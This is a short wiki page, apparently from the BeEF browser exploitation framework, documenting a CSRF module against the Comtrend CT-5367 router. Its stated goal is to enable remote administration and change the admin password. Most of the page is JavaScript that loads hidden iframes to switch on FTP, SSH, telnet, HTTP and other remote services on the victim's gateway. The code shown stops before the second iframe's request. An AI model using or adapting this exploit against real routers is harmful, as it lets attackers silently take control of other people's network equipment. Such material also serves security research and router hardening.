Clone
3
Module: Comtrend CT 5367 CSRF
Jess Williams edited this page 2020-01-13 17:55:04 +10:00

Summary

  • Objective: enable remote admin and change the password on a CT-5367 Router

  • Authors: bcoles

  • Browsers: All

  • Code

Internal Working

Uses an invisible iframes to change config.

  var gateway = '<%= @base %>';
  var passwd  = '<%= @password %>';
  var timeout = 15;

  var ct5367_iframe1_<%= @command_id %> = beef.dom.createInvisibleIframe();
  ct5367_iframe1_<%= @command_id %>.setAttribute('src', gateway+'scsrvcntr.cmd?action=save&ftp=1&ftp=3&http=1&http=3&icmp=1&snmp=1&snmp=3&ssh=1&ssh=3&telnet=1&telnet=3&tftp=1&tftp=3');

  var ct5367_iframe2_<%= @command_id %> = beef.dom.createInvisibleIframe();

Feedback